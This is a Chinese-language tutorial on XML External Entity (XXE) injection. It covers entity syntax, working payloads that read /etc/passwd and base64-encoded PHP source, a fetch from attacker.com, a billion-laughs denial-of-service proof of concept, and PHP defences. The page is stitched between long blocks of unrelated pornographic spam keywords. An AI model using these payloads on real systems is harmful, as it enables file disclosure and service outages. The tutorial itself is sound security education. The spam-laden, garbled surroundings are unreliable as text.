精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

科普:XXE注入攻擊與防御

安全 黑客攻防
XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊。漏洞是在對非安全的外部實體數據進⾏行處理時引發的安全問題。

0×00 前言

XXE Injection即XML External Entity Injection,也就是XML外部實體注入攻擊.漏洞是在對非安全的外部實體數據進⾏行處理時引發的安全問題.

[[115831]]

在XML1.0標準⾥里,XML文檔結構⾥里定義了實體(entity)這個概念.實體可以通過預定義在文檔中調用,實體的標識符可訪問本地或遠程內容.如果在這個過程中引入了”污染”源,在對XML文檔處理后則可能導致信息泄漏等安全問題.

0×01 威脅

XXE漏洞目前還未受到廣泛關注,Wooyun上幾個XXE引起的安全問題:

pull-in任意文件遍歷/下載
從開源中國的某XXE漏洞到主站shell
百度某功能XML實體注入
百度某功能XML實體注入(二)

借助XXE,攻擊者可以實現任意文件讀取,DOS拒絕服務攻擊以及代理掃描內網等.

對于不同XML解析器,對外部實體有不同處理規則,在PHP中默認處理的函數為: xml_parse和simplexml_load xml_parse的實現方式為expat庫,默認情況不會解析外部實體,而simplexml_load默認情況下會解析外部實體,造成安全威脅.除PHP外,在Java,Python等處理xml的組件及函數中都可能存在此問題

0×02 語法

要寫Payload,首先要對XML實體語法有一定了解

XML中entity的定義語法為:

  1. <!DOCTYPE filename  
  2. [  
  3. <!ENTITY entity-name "entity-content"  
  4. ]> 

如果要引用一個外部資源,可以借助各種協議 幾個例子:

  1. file:///path/to/file.ext  
  2. http://url/file.ext  
  3. php://filter/read=convert.base64-encode/resource=conf.php  

故構造幾種簡單的Payload模型如下:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

亦可讀取網站內容

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "http://attacker.com/text.txt" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

如果包含文件失敗,可能是由于讀取php等文件時文件本身包含的<等字符.可以使用Base64編碼繞過,如:

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

0×03 攻擊

借助XXE,有幾種可用且公開的攻擊方式:

拒絕服務

POC

  1. <?xml version = "1.0"?> 
  2. <!DOCTYPE lolz [  
  3. <!ENTITY lol "lol"> 
  4. <!ELEMENT lolz (#PCDATA)> 
  5. <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> 
  6. <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> 
  7. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> 
  8. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> 
  9. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> 
  10. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> 
  11. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> 
  12. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> 
  13. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]> 
  14. <lolz>&lol9;</lolz> 

POC中中先定義了lol實體,值為”lol”的字符串,后在下面又定義了lol2實體,lol2實體引用10個lol實體,lol3又引用了10個lol2實體的值,依此類推,到了最后在lolz元素中引用的lol9中,就會存在上億個”lol”字符串此時解析數據時未做特別處理,即可能造成拒絕服務攻擊。

此外還有一種可能造成拒絕服務的Payload,借助讀取/dev/random實現.

內網信息

借助各種協議如http,XXE可以協助掃描內網,可能可以訪問到內網開放WEB服務的Server,并獲取其他信息

XXE注入攻擊與防御

文件讀取

最常規也是最有效的利用思路

  1. <?xml version="1.0" encoding="utf-8"?> 
  2. <!DOCTYPE xdsec [  
  3. <!ELEMENT methodname ANY > 
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> 
  5. <methodcall> 
  6. <methodname>&xxe;</methodname> 
  7. </methodcall> 

附上兩張截圖,實現文件讀取的過程

XXE注入攻擊與防御 

XXE注入攻擊與防御

 

0×04 防御

1.檢查所使用的底層xml解析庫,默認禁止外部實體的解析

2.使用第三方應用代碼及時升級補丁

3.同時增強對系統的監控,防止此問題被人利用

對于PHP,由于simplexml_load_string函數的XML解析問題出在libxml庫上,所以加載實體前可以調用這樣一個函數

  1. <?php 
  2. libxml_disable_entity_loader(true);  
  3. ?> 

以進行防護,對于XMLReader和DOM方式解析,可以參考如下代碼:

  1. <?php // with the XMLReader functionality:  $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET);  // with the DOM functionality:  $dom = new DOMDocument();  $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR);  ?>>  

0×05 參考

https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)

http://websec.io/2012/08/27/Preventing-XEE-in-PHP.html

http://cn2.php.net/libxml_disable_entity_loader

http://projects.webappsec.org/w/page/13247004/XML%20Injection

http://drops.wooyun.org/papers/1911

責任編輯:藍雨淚 來源: 網絡安全攻防研究室
相關推薦

2017-05-08 14:33:51

2017-02-23 07:00:25

2010-09-08 13:10:03

2019-02-22 09:00:00

2012-11-30 14:54:48

2012-02-14 09:43:08

2025-07-31 06:15:00

2015-02-13 13:11:15

2013-07-27 20:19:14

2015-05-18 13:51:08

2015-11-09 15:58:03

2010-09-14 16:00:16

2017-05-05 11:31:34

2016-09-29 22:54:55

2014-04-08 16:02:28

寬字節注入數據安全MYSQL

2014-04-15 11:22:24

2009-01-16 10:40:50

2010-10-08 10:03:16

2011-03-01 10:52:15

2010-09-08 12:35:51

點贊
收藏

51CTO技術棧公眾號

91精品99| 精品一区二区三区四区五区| 久久精品一区二区三区不卡 | 国产小视频你懂的| 欧美男男gaygay1069| 亚洲欧美国产毛片在线| 国产视频精品网| 精品国产xxx| 99精品网站| 精品夜色国产国偷在线| 中文字幕第38页| 日本动漫理论片在线观看网站| av亚洲精华国产精华| 国产999精品久久久| 亚洲波多野结衣| 青青操综合网| 欧美高清www午色夜在线视频| 又大又硬又爽免费视频| 国产精品视频一区二区久久| 国产米奇在线777精品观看| 97精品久久久| 欧美肥妇bbwbbw| 亚洲最好看的视频| 日韩欧美国产麻豆| 香港日本韩国三级网站| 24小时免费看片在线观看| 国产精品蜜臀av| 九色一区二区| 午夜久久久久久久久久| 日韩av网站免费在线| 国内精品400部情侣激情| 蜜桃av.com| 欧美日韩高清| 亚洲男女性事视频| 日韩精品视频一区二区| 日韩欧美另类中文字幕| 欧美亚男人的天堂| 日韩欧美精品在线观看视频| 国产美女一区视频| 亚洲欧美日韩中文播放| 性欧美精品一区二区三区在线播放| 熟妇高潮一区二区三区| 国产精品中文字幕日韩精品| 国产主播欧美精品| 波多野结衣不卡| 久久精品亚洲| 热久久这里只有| 日韩精品一卡二卡| 韩国一区二区三区在线观看| 一区二区三区视频在线| 右手影院亚洲欧美| 午夜精品影视国产一区在线麻豆| 精品国产91亚洲一区二区三区婷婷| 亚洲网中文字幕| 日本亚洲欧洲无免费码在线| 欧美中文字幕不卡| 999在线免费视频| 欧美人与性动交xxⅹxx| 日韩欧美999| 高清无码视频直接看| 污污在线观看| 亚洲午夜电影在线| 人妻夜夜添夜夜无码av| 精品人人视频| 欧美日韩免费一区| 97视频在线免费播放| 在线一区av| 欧美亚洲丝袜传媒另类| 精品999在线| 亚洲香蕉久久| 欧美第一区第二区| yy1111111| 奇米亚洲欧美| 深夜福利日韩在线看| 人与动物性xxxx| 中文字幕免费一区二区| 欧美精品久久一区二区| 天天综合网入口| 丝袜亚洲精品中文字幕一区| 国产精品入口免费视频一| 一本大道伊人av久久综合| 国产一区久久久| 国产激情美女久久久久久吹潮| 欧性猛交ⅹxxx乱大交| 91网上在线视频| 亚洲精品第一区二区三区| 国产视频中文字幕在线观看| 亚洲一区二区精品3399| 免费男同深夜夜行网站 | 日本丰满少妇一区二区三区| a在线观看免费视频| 日韩成人视屏| 亚洲色图日韩av| 老司机成人免费视频| 亚洲高清不卡| 国产精品免费久久久久久| 超碰在线观看av| 久久久久久久久岛国免费| 久久久一二三四| 中文字幕在线直播| 69堂国产成人免费视频| 日韩aaaaa| 91亚洲国产高清| 91国产美女视频| 亚洲中文字幕在线一区| 北条麻妃国产九九精品视频| 亚洲精品久久区二区三区蜜桃臀| 黄污视频在线观看| 欧美日韩中文字幕一区| av天堂一区二区| 欧美日韩激情在线一区二区三区| 欧美美女操人视频| 欧美一级做a爰片免费视频| 国产成人亚洲综合a∨婷婷图片 | 99久久这里只有精品| 97在线视频免费看| 国产手机精品视频| 中文字幕乱码一区二区免费| 波多野结衣乳巨码无在线| 日韩黄色三级| 亚洲欧美日韩国产中文| 精品亚洲永久免费| 国产在线国偷精品产拍免费yy| 欧美系列一区| 国产激情在线播放| 日韩一区国产二区欧美三区| 国产交换配乱淫视频免费| 亚洲午夜久久久久久尤物| 91在线色戒在线| 1769视频在线播放免费观看| 精品国产乱码久久久久久婷婷 | 综合久久伊人| 一本久久综合亚洲鲁鲁| 国产精品suv一区二区三区| 国产剧情一区二区| 综合色婷婷一区二区亚洲欧美国产| 在线一区av| 日韩精品在线第一页| 亚洲精品午夜久久久久久久| 国产精品一区二区久激情瑜伽 | 亚洲精品精选| 亚洲www永久成人夜色| √新版天堂资源在线资源| 日本久久电影网| www.色多多| 亚洲欧美日韩视频二区| 欧美国产综合视频| 日本乱码一区二区三区不卡| 亚洲成人精品在线| 国产午夜福利精品| 成人av网站在线| 成人在线观看你懂的| 国产精品jk白丝蜜臀av小说| 欧美激情亚洲激情| 黄色小视频免费在线观看| 亚洲成人你懂的| 国产熟女高潮一区二区三区| 99精品视频网| 久久www免费人成精品| 色黄视频在线观看| 亚洲人成网站777色婷婷| 欧美日韩综合一区二区三区| 久久久久99精品一区| 国产一级不卡毛片| 久久国产综合| 成人欧美一区二区三区黑人| 在线观看wwwxxxx| 精品国产欧美一区二区| 日韩精品成人在线| 国产亚洲va综合人人澡精品| 天天视频天天爽| 91精品国偷自产在线电影 | 午夜精品久久久久久久99热浪潮| 人妻视频一区二区三区| 黑人巨大精品欧美一区二区| 成人性生交大免费看| 日韩不卡一二三区| 中文字幕精品—区二区日日骚| 国产在线一区不卡| 97视频在线观看视频免费视频| 青草久久伊人| 678五月天丁香亚洲综合网| 久久国产露脸精品国产| 91美女片黄在线观看| 午夜两性免费视频| 亚洲片区在线| 在线国产99| 中文久久电影小说| 久久久久久久国产精品| 国产在线小视频| 欧美一级二级三级蜜桃| 亚洲男人的天堂在线视频| 国产欧美中文在线| 无码人妻一区二区三区精品视频| 亚洲一区激情| 最新av在线免费观看| 久久大胆人体视频| 国产日韩欧美电影在线观看| av资源在线播放| 最新国产成人av网站网址麻豆| 亚洲国产精品18久久久久久| 一本色道久久综合亚洲aⅴ蜜桃| 少妇的滋味中文字幕bd| 福利电影一区二区三区| www.天天射.com| 亚洲特色特黄| 一本色道久久综合亚洲二区三区 | 91精品xxx在线观看| 欧美插天视频在线播放| 青春草在线观看| 日韩欧美一级特黄在线播放| 成人av网站在线播放| 亚洲图片欧美色图| 天天看天天摸天天操| 久久综合网色—综合色88| 男人的天堂免费| 老鸭窝一区二区久久精品| 黄色片视频在线免费观看| 中文在线日韩| 亚洲日本理论电影| 一区二区三区日本久久久| 俄罗斯精品一区二区三区| 久久69成人| 国产91色在线播放| 欧产日产国产精品视频| 欧美国产日韩一区二区在线观看| 1pondo在线播放免费| 亚洲嫩模很污视频| 无码精品人妻一区二区| 日韩一区二区在线观看视频| 4438国产精品一区二区| 一区二区免费在线播放| xxxx日本少妇| 国产精品国产三级国产普通话99| 人妻少妇一区二区| 2014亚洲片线观看视频免费| 少妇一级淫免费观看| 高清在线观看日韩| 亚洲小视频网站| 另类欧美日韩国产在线| 欧美激情成人网| 亚洲欧美日韩视频二区| 免费在线观看亚洲视频| 国产欧美大片| 高清在线观看免费| 一区二区三区国产盗摄 | 成人美女黄网站| 2019亚洲日韩新视频| 乱馆动漫1~6集在线观看| 久久久亚洲成人| 9765激情中文在线| 51视频国产精品一区二区| 黄视频免费在线看| 热久久免费国产视频| 国产综合色区在线观看| 国产精品国语对白| 欧美视频第一| 亚洲最大成人在线| 日韩一区二区三区精品| 国产亚洲精品自在久久| 日本亚洲不卡| 日本精品一区二区| 日韩免费高清| 日韩视频一二三| 精品不卡视频| 情侣黄网站免费看| 老司机精品视频一区二区三区| caoporm在线视频| 国产高清久久久| 在线精品一区二区三区| 国产亚洲视频系列| 搜索黄色一级片| 亚洲国产综合在线| 欧美超碰在线观看| 3d动漫精品啪啪1区2区免费| 性一交一乱一透一a级| 亚洲韩国青草视频| av中文天堂在线| 欧美美最猛性xxxxxx| 美女91在线看| 国产美女久久精品香蕉69| 一区二区三区四区精品视频| 免费精品视频一区| 99久久激情| 亚洲人成无码网站久久99热国产| 久久资源在线| 国产成人av免费观看| 91亚洲国产成人精品一区二区三| 长河落日免费高清观看| 亚洲一本大道在线| 日本欧美www| 精品对白一区国产伦| 国产午夜精品一区理论片| 欧美成aaa人片在线观看蜜臀| 黄视频免费在线看| 91在线无精精品一区二区| 日韩av网址大全| 一区二区三区一级片| 国产精品乱看| 手机在线国产视频| 国产婷婷色一区二区三区在线| 国产真实乱在线更新| 欧美三级xxx| www久久久com| 中文字幕日本欧美| 亚洲午夜天堂| 91成人伦理在线电影| 国产欧美一区| 九色自拍视频在线观看| 国产一区二区三区四| 国产免费一区二区三区网站免费| 亚洲影院理伦片| 97成人在线观看| 国产亚洲精品美女久久久| 黄色在线观看视频网站| 成人夜晚看av| 日本久久一二三四| 精品国产免费av| 丰满放荡岳乱妇91ww| www欧美com| 欧美日韩国产成人在线免费| 欧洲综合视频| 2018国产精品视频| 国内毛片久久| 91动漫在线看| 国产成人精品在线看| 99成人在线观看| 精品视频999| av资源网在线观看| 国产成人在线播放| 一道本一区二区三区| 香港三级韩国三级日本三级| 粉嫩av一区二区三区在线播放| 夫妻性生活毛片| 欧美日韩国产乱码电影| av在线播放网| 国产精品一区二区久久久久| 国产毛片一区二区三区 | 狠狠色伊人亚洲综合成人| 中文字幕欧美激情极品| 在线观看av一区二区| 成年人视频网站在线| 国产精品极品美女在线观看免费| 国产99久久久国产精品成人免费| 欧美亚洲另类色图| 91视频免费看| 特级做a爱片免费69| 亚洲片国产一区一级在线观看| 伊人久久av| 日韩一区二区电影在线观看| 日本不卡在线视频| 久久久久麻豆v国产| 欧美精品第一页| 中文字幕在线三区| 国产超碰91| 一区二区三区福利| 免费看日本黄色片| 在线不卡免费av| 羞羞的视频在线看| 国产乱码精品一区二区三区日韩精品 | 免费视频观看成人| 亚洲最新免费视频| 国产乱码精品一品二品| 国产成人精品av久久| 亚洲第一偷拍网| 国产日韩电影| 亚洲一区二区三区免费观看| 国产在线精品一区在线观看麻豆| 久久伊人成人网| 亚洲免费成人av电影| 久久青草免费| av在线com| 久久久国际精品| 亚洲无码久久久久久久| 久久99精品久久久久久青青91| 精品女人视频| 青青青国产在线视频| 亚洲欧美电影一区二区| 欧美一级特黄aaaaaa| 国产成人高清激情视频在线观看| 欧美3p在线观看| 妖精视频一区二区| 欧美亚洲一区三区| 国产黄色大片在线观看| 欧洲久久久久久| 国产激情一区二区三区四区| 国产精品一区二区三区四| www.欧美免费| 色88888久久久久久影院| 一区二区三区 欧美| 亚洲电影第三页| 69久久精品| 精品日韩电影| 国产一区二区美女| 免费av网站在线| 欧美人与性动交| 欧美在线观看视频一区| 黄色国产在线视频| 欧美人成免费网站| 精品国产第一福利网站|